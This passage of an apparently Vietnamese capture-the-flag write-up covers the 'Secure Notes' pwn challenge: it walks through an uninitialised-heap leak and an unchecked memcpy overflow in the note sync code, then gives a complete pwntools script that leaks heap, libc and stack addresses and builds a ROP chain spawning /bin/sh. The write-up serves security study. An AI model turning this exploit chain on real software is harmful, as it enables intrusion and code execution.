    <span class="hljs-keyword">if</span>(flag == <span class="hljs-number">1</span>){
        send_size = <span class="hljs-keyword">sizeof</span>(struct msg_hdr);

        next_note = notes;
        next_note2 = notes;

        <span class="hljs-comment">// commit un-synced note to backend</span>
        DL_FOREACH(next_note, cur_note){
            <span class="hljs-keyword">if</span>(cur_note-&gt;note_synced)
                <span class="hljs-keyword">continue</span>;
            send_size += <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + cur_note-&gt;note_content_len;
            <span class="hljs-keyword">if</span>(send_size &gt; SHM_MEM_MAX_SIZE){
                next_note = cur_note;
                <span class="hljs-keyword">break</span>;
            }
        }

        <span class="hljs-keyword">if</span>(send_size == <span class="hljs-keyword">sizeof</span>(struct msg_hdr)){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"All notes was synced\n"</span>);
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
        }

        msg_hdr = <span class="hljs-built_in">malloc</span>(send_size);
        msg_hdr-&gt;action = COMMIT;
        msg_hdr-&gt;msg_size = send_size - <span class="hljs-keyword">sizeof</span>(struct msg_hdr);
        serialize_p = (NoteSerialize_t)msg_hdr-&gt;msg_content;

        DL_FOREACH(next_note2, cur_note) {
            <span class="hljs-keyword">if</span>(cur_note-&gt;note_synced)
                <span class="hljs-keyword">continue</span>;
            <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(cur_note-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));
            <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, cur_note-&gt;note_content, cur_note-&gt;note_content_len);
            serialize_p = (NoteSerialize_t)((<span class="hljs-keyword">size_t</span>)serialize_p + <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + cur_note-&gt;note_content_len);
            cur_note-&gt;note_synced = <span class="hljs-number">1</span>;
        }

        send_data(&amp;ipc, RECEIVER, msg_hdr, send_size);
        <span class="hljs-built_in">free</span>(msg_hdr);

        rc = recv_data_timeout(&amp;ipc, SENDER, <span class="hljs-literal">NULL</span>, (<span class="hljs-keyword">uint64_t</span> *)&amp;status, <span class="hljs-number">60</span>);
        <span class="hljs-keyword">if</span>(IS_ERR(rc) || status != OK){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to commit data to backend\n"</span>);
            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
        }

    } <span class="hljs-keyword">else</span> {
        <span class="hljs-comment">// fetch from backend</span>
        inline_msg_hdr.action = FETCH;
        inline_msg_hdr.msg_size = <span class="hljs-number">0xFFFFFFFF</span>; <span class="hljs-comment">// fetch all except encrypted note content</span>
        send_data(&amp;ipc, RECEIVER, &amp;inline_msg_hdr, <span class="hljs-keyword">sizeof</span>(inline_msg_hdr));

        <span class="hljs-keyword">int</span> truncated = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">do</span>{
            truncated = <span class="hljs-number">0</span>;
            rc = recv_data_timeout(&amp;ipc, SENDER, (<span class="hljs-keyword">void</span> **)&amp;msg_hdr, (<span class="hljs-keyword">uint64_t</span> *)&amp;recv_size, <span class="hljs-number">60</span>);
            <span class="hljs-keyword">if</span>(IS_ERR(rc) || recv_size &lt; <span class="hljs-keyword">sizeof</span>(struct msg_hdr)){
                <span class="hljs-keyword">if</span>((Status)recv_size == OK){
                    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
                } <span class="hljs-keyword">else</span> {
                    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to fetch data from backend\n"</span>);
                    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
                }
            }

            <span class="hljs-keyword">if</span>(msg_hdr-&gt;action == TRUNCATED)
                truncated = <span class="hljs-number">1</span>;

            Note_t search_note;
            <span class="hljs-comment">// parse from backend</span>
            <span class="hljs-keyword">while</span>(read_count &lt; msg_hdr-&gt;msg_size){
                serialize_p = (NoteSerialize_t)((<span class="hljs-keyword">size_t</span>)msg_hdr-&gt;msg_content + read_count);
                Note_t new_note = Note_init(serialize_p-&gt;note_title,
                                            serialize_p-&gt;note_author,
                                            serialize_p-&gt;note_content_len,
                                            serialize_p-&gt;note_is_encrypt);

                read_count += <span class="hljs-keyword">sizeof</span>(struct NoteSerialize);
                Note_t p_note;
                DL_SEARCH(notes, search_note, new_note, Note_cmp);
                p_note = search_note;
                <span class="hljs-keyword">if</span>(!search_note){
                    p_note = new_note;
                }

                <span class="hljs-comment">// update new content</span>
                <span class="hljs-keyword">if</span>(!p_note-&gt;note_is_encrypt){
                    <span class="hljs-built_in">memcpy</span>(p_note-&gt;note_content, serialize_p-&gt;content, serialize_p-&gt;note_content_len);
                    read_count += new_note-&gt;note_content_len;
                }

                <span class="hljs-keyword">if</span>(p_note-&gt;note_is_encrypt) {
                    p_note-&gt;note_synced = <span class="hljs-number">1</span>;
                    <span class="hljs-keyword">if</span>(p_note-&gt;note_content){
                        <span class="hljs-built_in">free</span>(p_note-&gt;note_content);
                        p_note-&gt;note_content = <span class="hljs-literal">NULL</span>;
                    }
                }

                <span class="hljs-keyword">if</span>(!search_note){
                    DL_APPEND(notes, new_note);
                } <span class="hljs-keyword">else</span> {
                    Note_destroy(new_note);
                }
            }

            <span class="hljs-keyword">if</span>(truncated){
                <span class="hljs-comment">// signal backend send next data</span>
                send_data(&amp;ipc, RECEIVER, <span class="hljs-literal">NULL</span>, OK);
            }
        } <span class="hljs-keyword">while</span>(truncated);
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Sẽ có <code>2</code> option đó là <code>c</code> hoặc <code>s</code>. <code>c</code> tức là <code>COMMIT</code> tất cả các note của <code>interface</code> lên <code>backend</code>, <code>s</code> là cập nhật tất cả note của <code>backend</code> về <code>interface</code></p>
<h3 id="heading-tim-bug"><strong>Tìm Bug</strong></h3>
<p>Ở hàm <code>edit_note</code></p>
<pre><code class="lang-cpp"><span class="hljs-keyword">if</span>(tmp-&gt;note_content){
    <span class="hljs-built_in">free</span>(tmp-&gt;note_content);
}
tmp-&gt;note_content = <span class="hljs-built_in">malloc</span>(content_len);
tmp-&gt;note_content_len = content_len;
fgets(tmp-&gt;note_content, content_len, <span class="hljs-built_in">stdin</span>);
tmp-&gt;note_synced = <span class="hljs-number">0</span>;
</code></pre>
<p>Khi <code>malloc</code> thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên <code>heap</code> nên có thể leak dc</p>
<p>Edit note với cùng <code>1</code> size thì khi <code>malloc</code> nó sẽ nhận lại chunk vừa <code>free</code></p>
<p>Chunk khi vừa được <code>free</code></p>
<p><img src="https://hackmd.io/_uploads/rkqktTuc6.png" alt="Screenshot 2024-02-01 143121" /></p>
<p>Sau hàm <code>fgets</code></p>
<p><img src="https://hackmd.io/_uploads/Sk3-Kad5a.png" alt="Screenshot 2024-02-01 143207" /></p>
<p>Như vậy là có thể leak được heap</p>
<pre><code class="lang-cpp">new_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
edit_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
</code></pre>
<p>Tương tự ta tạo <code>1</code> note với <code>content</code> lớn để có <code>unsorted bin</code> để leak libc. Cần phải tạo thêm <code>1</code> note khác để chương trình <code>malloc1</code> chunk ở sau khi <code>free</code> chunk lớn thành <code>unsorted bin</code> sẽ không bị nhập vào <code>top chunk</code></p>
<pre><code class="lang-cpp">edit_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">0x500</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
new_note(b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>)
edit_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
</code></pre>
<p>Như vậy là giờ mình đã có <code>heap</code> và <code>libc</code></p>
<p>Bug tiếp theo nằm ở hàm <code>note_sync</code> khi lấy data từ <code>backend</code> về <code>interface</code></p>
<pre><code class="lang-cpp">Note_t search_note;
<span class="hljs-comment">// parse from backend</span>
<span class="hljs-keyword">while</span>(read_count &lt; msg_hdr-&gt;msg_size){
    serialize_p = (NoteSerialize_t)((<span class="hljs-keyword">size_t</span>)msg_hdr-&gt;msg_content + read_count);
    Note_t new_note = Note_init(serialize_p-&gt;note_title,
                                serialize_p-&gt;note_author,
                                serialize_p-&gt;note_content_len,
                                serialize_p-&gt;note_is_encrypt);

    read_count += <span class="hljs-keyword">sizeof</span>(struct NoteSerialize);
    Note_t p_note;
    DL_SEARCH(notes, search_note, new_note, Note_cmp);
    p_note = search_note;
    <span class="hljs-keyword">if</span>(!search_note){
        p_note = new_note;
    }

    <span class="hljs-comment">// update new content</span>
    <span class="hljs-keyword">if</span>(!p_note-&gt;note_is_encrypt){
        <span class="hljs-built_in">memcpy</span>(p_note-&gt;note_content, serialize_p-&gt;content, serialize_p-&gt;note_content_len);
        read_count += new_note-&gt;note_content_len;
    }

    <span class="hljs-keyword">if</span>(p_note-&gt;note_is_encrypt) {
        p_note-&gt;note_synced = <span class="hljs-number">1</span>;
        <span class="hljs-keyword">if</span>(p_note-&gt;note_content){
            <span class="hljs-built_in">free</span>(p_note-&gt;note_content);
            p_note-&gt;note_content = <span class="hljs-literal">NULL</span>;
        }
    }
</code></pre>
<p>Nếu như tìm thấy note trên <code>interface</code> thì mặc nhiên nó sẽ <code>memcpy</code> nội dung từ <code>backend</code> vào <code>content</code> của <code>interface</code> mà sẽ không check bound. Vậy thì nếu như note trên <code>interface</code> có <code>content</code> size khác với trên <code>backend</code> thì ta sẽ có <code>BOF</code></p>
<p>Đầu tiên để đẩy note lên <code>backend</code> thì mình dùng <code>note_sync(1)</code> như vậy thì mỗi note chương trình sẽ đánh dấu <code>cur_note-&gt;note_synced = 1;</code></p>
<p>Khi mà <code>edit_note</code> để thay đổi size của <code>content</code> thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag <code>is_encrypt</code> nếu không có thì sẽ chỉ đổi <code>content</code> trên <code>interface</code> mà không commit tới <code>backend</code>. Như vậy là ta có <code>heap overflow</code></p>
<h3 id="heading-khai-thac-1">Khai Thác</h3>
<p>Đầu tiên mình tạo <code>1</code> note với size lớn, sau đó dùng <code>sync_note(1)</code> để commit tới <code>backend</code> sau đó thay đổi <code>content</code> note đó thành size bé hơn rồi tạo thêm <code>1</code> note mới để <code>heap overflow</code> sẽ overwrite note mới đó</p>
<pre><code class="lang-cpp">payload = b<span class="hljs-number">'</span>A<span class="hljs-number">'</span>*<span class="hljs-number">0x10</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0</span>) + p64(libc.symbols[<span class="hljs-string">'environ'</span>]) + p64(heap + <span class="hljs-number">0x370</span>)
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">4</span> + p64(<span class="hljs-number">0xf1</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload = payload.ljust(<span class="hljs-number">0x200</span>, b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>)
new_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">0x200</span>, payload)
note_sync(<span class="hljs-string">'c'</span>)
edit_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
new_note(b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, <span class="hljs-number">1</span>, b<span class="hljs-number">'</span>hehe<span class="hljs-number">'</span>)
</code></pre>
<p>Để trigger bug</p>
<pre><code class="lang-cpp">note_sync(<span class="hljs-string">'s'</span>)
</code></pre>
<p>Chạy đến <code>memcpy</code></p>
<p><img src="https://hackmd.io/_uploads/r1MAiTuqp.png" alt="Screenshot 2024-02-01 144351" /></p>
<p>Copy <code>0x200</code> bytes</p>
<p><img src="https://hackmd.io/_uploads/ryokn6O5a.png" alt="Screenshot 2024-02-01 144404" /></p>
<p>Ta thấy chunk <code>0x55969bf77610</code> chỉ có size <code>0x20</code> và phía trên là note thứ <code>2</code> mà mình tạo. Craft payload để ghi đè note đó. Thay đổi <code>content</code> thành <code>environ</code> để leak stack</p>
<pre><code class="lang-cpp">payload = b<span class="hljs-number">'</span>A<span class="hljs-number">'</span>*<span class="hljs-number">0x10</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0</span>) + p64(libc.symbols[<span class="hljs-string">'environ'</span>]) + p64(heap + <span class="hljs-number">0x370</span>)
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">4</span> + p64(<span class="hljs-number">0xf1</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload = payload.ljust(<span class="hljs-number">0x200</span>, b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>)
</code></pre>
<p>Sau khi <code>memcpy</code></p>
<p><img src="https://hackmd.io/_uploads/SJCI2Td9T.png" alt="Screenshot 2024-02-01 144625" /></p>
<p>Như vậy là ta đã có <code>stack</code></p>
<p>Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain</p>
<p>Lại tạo <code>1</code> note có <code>content</code> lớn và <code>1</code> note khác để commit tới <code>backend</code>, lần này sẽ trigger <code>2</code> lần <code>memcpy</code>. Lần đầu tiên sẽ dùng <code>memcpy</code> để overwrite <code>1</code> note như vừa rồi, <code>memcpy</code> thứ <code>2</code> sẽ dùng để tạo ropchain</p>
<p>Lần <code>memcpy</code> đầu tiên</p>
<p><img src="https://hackmd.io/_uploads/BJ8STp_c6.png" alt="Screenshot 2024-02-01 144934" /></p>
<p>Overwrite <code>content</code> của note tiếp theo thành <code>saved rip</code> của <code>note_sync</code></p>
<p><img src="https://hackmd.io/_uploads/H1hwp6u96.png" alt="Screenshot 2024-02-01 145006" /></p>
<p><img src="https://hackmd.io/_uploads/HkX_aTd5a.png" alt="Screenshot 2024-02-01 145014" /></p>
<p>Lần <code>memcpy</code> thứ <code>2</code></p>
<p><img src="https://hackmd.io/_uploads/SkKo6a_qp.png" alt="Screenshot 2024-02-01 145135" /></p>
<p>Cuối cùng ta có ropchain</p>
<p><img src="https://hackmd.io/_uploads/rJMTTTOqT.png" alt="Screenshot 2024-02-01 145217" /></p>
<p><img src="https://hackmd.io/_uploads/ByMkRau96.png" alt="Screenshot 2024-02-01 145249" /></p>
<p>Script:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> psutil

sla = <span class="hljs-keyword">lambda</span> delim, data: p.sendlineafter(delim, data)
sa = <span class="hljs-keyword">lambda</span> delim, data: p.sendafter(delim, data)


interface = context.binary = ELF(<span class="hljs-string">'interface'</span>)
libc = ELF(<span class="hljs-string">'libc.so.6'</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pidof</span>(<span class="hljs-params">name</span>):</span>
    pid = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> proc <span class="hljs-keyword">in</span> psutil.process_iter():
        <span class="hljs-keyword">if</span> name == proc.name():
            pid = proc.pid
            <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">return</span> pid

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">choice</span>(<span class="hljs-params">i</span>):</span>
    sla(<span class="hljs-string">b'Choice: '</span>, str(i).encode())
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">new_note</span>(<span class="hljs-params">title, author, content_len, content, encrypt = None</span>):</span>
    choice(<span class="hljs-number">1</span>)
    sla(<span class="hljs-string">b'Title'</span>, title)
    sla(<span class="hljs-string">b'Author'</span>, author)
    <span class="hljs-keyword">if</span> encrypt != <span class="hljs-literal">None</span>:
        sla(<span class="hljs-string">b'notes?'</span>, <span class="hljs-string">b'y'</span>)
        sla(<span class="hljs-string">b'passwd? '</span>, encrypt)
    <span class="hljs-keyword">else</span>:
        sla(<span class="hljs-string">b'notes?'</span>, <span class="hljs-string">b'n'</span>)
    sla(<span class="hljs-string">b'content?'</span>, str(content_len).encode())
    sa(<span class="hljs-string">b'Content: '</span>, content)
    p.sendline(<span class="hljs-string">b''</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">list_note</span>():</span>
    choice(<span class="hljs-number">2</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_note</span>(<span class="hljs-params">title, author, encrypt = None</span>):</span>
    choice(<span class="hljs-number">3</span>)
    sla(<span class="hljs-string">b'Title'</span>, title)
    sla(<span class="hljs-string">b'Author'</span>, author)
    <span class="hljs-keyword">if</span> encrypt != <span class="hljs-literal">None</span>:
        sla(<span class="hljs-string">b'Password'</span>, encrypt)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">edit_note</span>(<span class="hljs-params">title, author, content_len, content, encrypt = None</span>):</span>
    choice(<span class="hljs-number">4</span>)
    sla(<span class="hljs-string">b'Title'</span>, title)
    sla(<span class="hljs-string">b'Author'</span>, author)
    <span class="hljs-keyword">if</span> encrypt != <span class="hljs-literal">None</span>:
        sla(<span class="hljs-string">b'Password'</span>, encrypt)
    sla(<span class="hljs-string">b'len'</span>, str(content_len).encode())
    sla(<span class="hljs-string">b'content'</span>, content)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete_note</span>(<span class="hljs-params">title, author, encrypt = None</span>):</span>
    choice(<span class="hljs-number">5</span>)
    sla(<span class="hljs-string">b'Title'</span>, title)
    sla(<span class="hljs-string">b'Author'</span>, author)
    <span class="hljs-keyword">if</span> encrypt != <span class="hljs-literal">None</span>:
        sla(<span class="hljs-string">b'password'</span>, encrypt)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">note_sync</span>(<span class="hljs-params">s_c</span>):</span>
    choice(<span class="hljs-number">6</span>)
    <span class="hljs-keyword">if</span> s_c == <span class="hljs-string">'c'</span>:
        sla(<span class="hljs-string">b'note? '</span>, <span class="hljs-string">b'c'</span>)
    <span class="hljs-keyword">else</span>:
        sla(<span class="hljs-string">b'note? '</span>, <span class="hljs-string">b's'</span>)




<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>(<span class="hljs-params">proc</span>):</span>
    gdb.attach(proc, gdbscript=<span class="hljs-string">'''
               #b delete_note
               b *(note_sync + 547)
               #b *(add_new_note + 316)
               #b edit_note
               c'''</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB_backend</span>(<span class="hljs-params">proc</span>):</span>
    gdb.attach(proc, gdbscript=<span class="hljs-string">'''
               #b NoteBackend_init
               c'''</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB_All</span>():</span>
    GDB(p)
    <span class="hljs-comment">#GDB_backend(pidof('backend'))</span>

<span class="hljs-comment"># = remote('0', 31339)</span>
<span class="hljs-comment">#p = remote('139.162.29.93', 31339)    </span>
p = process([<span class="hljs-string">'./interface'</span>, <span class="hljs-string">'./backend'</span>])
<span class="hljs-comment">#print('pidof: ', pidof('backend'))</span>
new_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'a'</span>)
<span class="hljs-comment">#p.sendline(b'')</span>

<span class="hljs-comment">#leak heap</span>
edit_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'a'</span>)
list_note()
p.recvuntil(<span class="hljs-string">b'Content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
heap = leak &lt;&lt; <span class="hljs-number">4</span>*<span class="hljs-number">3</span>
print(<span class="hljs-string">'heap: '</span>, hex(heap))

<span class="hljs-comment">#leak libc</span>
edit_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">0x500</span>, <span class="hljs-string">b'a'</span>)
new_note(<span class="hljs-string">b'b'</span>, <span class="hljs-string">b'b'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'b'</span>)
<span class="hljs-comment">#p.sendline(b'')</span>
edit_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'a'</span>)
list_note()
p.recvuntil(<span class="hljs-string">b'Content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
libc.address = leak - <span class="hljs-number">0x21b110</span>
print(<span class="hljs-string">'libc: '</span>, hex(libc.address))

delete_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>)
delete_note(<span class="hljs-string">b'b'</span>, <span class="hljs-string">b'b'</span>)


payload = <span class="hljs-string">b'A'</span>*<span class="hljs-number">0x10</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0</span>) + p64(libc.symbols[<span class="hljs-string">'environ'</span>]) + p64(heap + <span class="hljs-number">0x370</span>)
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">4</span> + p64(<span class="hljs-number">0xf1</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload = payload.ljust(<span class="hljs-number">0x200</span>, <span class="hljs-string">b'\x00'</span>)
new_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">0x200</span>, payload)
note_sync(<span class="hljs-string">'c'</span>)
edit_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'a'</span>)
new_note(<span class="hljs-string">b'b'</span>, <span class="hljs-string">b'b'</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'hehe'</span>)

note_sync(<span class="hljs-string">'s'</span>)
list_note()
p.recvuntil(<span class="hljs-string">b'Author: b\n'</span>)
p.recvuntil(<span class="hljs-string">b'Content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
stack = leak
print(<span class="hljs-string">'stack: '</span>, hex(stack))
<span class="hljs-comment">#new_note(b'a', b'a', 1, b'a')</span>
<span class="hljs-comment">#delete_note(b'a', b'a')</span>

<span class="hljs-comment">#</span>

payload = <span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x200</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>) + <span class="hljs-string">b'A'</span>*<span class="hljs-number">0x10</span> + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span> + p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span> + p64(<span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0</span>)
payload += p64(stack)
payload += p64(heap + <span class="hljs-number">0x630</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>)
payload += p64(libc.address + <span class="hljs-number">0x21ace0</span>)*<span class="hljs-number">2</span>
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>) + p64(heap + <span class="hljs-number">0x400</span>)  + p64(heap + <span class="hljs-number">0x770</span>)*<span class="hljs-number">2</span> + p64(<span class="hljs-number">0x91</span>)
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x62</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x50</span>) + p64(<span class="hljs-number">0x2</span>)
payload += p64(stack - <span class="hljs-number">0x338</span>) + p64(heap + <span class="hljs-number">0x6e0</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x61</span>)
payload += p64(<span class="hljs-number">0xdeadbeef</span>)
print(<span class="hljs-string">'len: '</span>, hex(len(payload)))

payload2 = <span class="hljs-string">b'hihi'</span>
RET = <span class="hljs-number">0x00000000000baaf9</span> + libc.address<span class="hljs-comment">#: xor rax, rax ; ret</span>

rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(<span class="hljs-string">b'/bin/sh\x00'</span>)))
payload2 = rop.chain()
delete_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>)
delete_note(<span class="hljs-string">b'b'</span>, <span class="hljs-string">b'b'</span>)
new_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">0x400</span>, payload)
new_note(<span class="hljs-string">b'b'</span>, <span class="hljs-string">b'b'</span>, <span class="hljs-number">0x50</span>, payload2)
note_sync(<span class="hljs-string">'c'</span>)
edit_note(<span class="hljs-string">b'a'</span>, <span class="hljs-string">b'a'</span>, <span class="hljs-number">0x200</span>, <span class="hljs-string">b'a'</span>)
GDB_All()
note_sync(<span class="hljs-string">'s'</span>)

p.interactive()
</code></pre>
<h2 id="heading-pwn03-flag2-secure-notes"><em>pwn03-flag2: Secure Notes</em></h2>
<p><strong><em>credit: Naox13</em></strong></p>
<p><em>Để lấy dc</em><code>flag2</code><em>thì chúng ta phải dùng</em><code>backend</code><em>để đọc flag nên ở đây mình sẽ khai thác</em><code>backend</code></p>
<p><em>Có</em><code>1</code><em>bug ở trên</em><code>backend</code><em>khi tạo</em><code>1</code><em>note với flag</em><code>is_encrypt</code><em>với content ko quá bé thì sau khi</em><code>backend</code><em>encrypt thì chunk chứa cipher text sẽ bị overwrite size của chunk trước đó. Mình không khai thác được lỗi này</em></p>
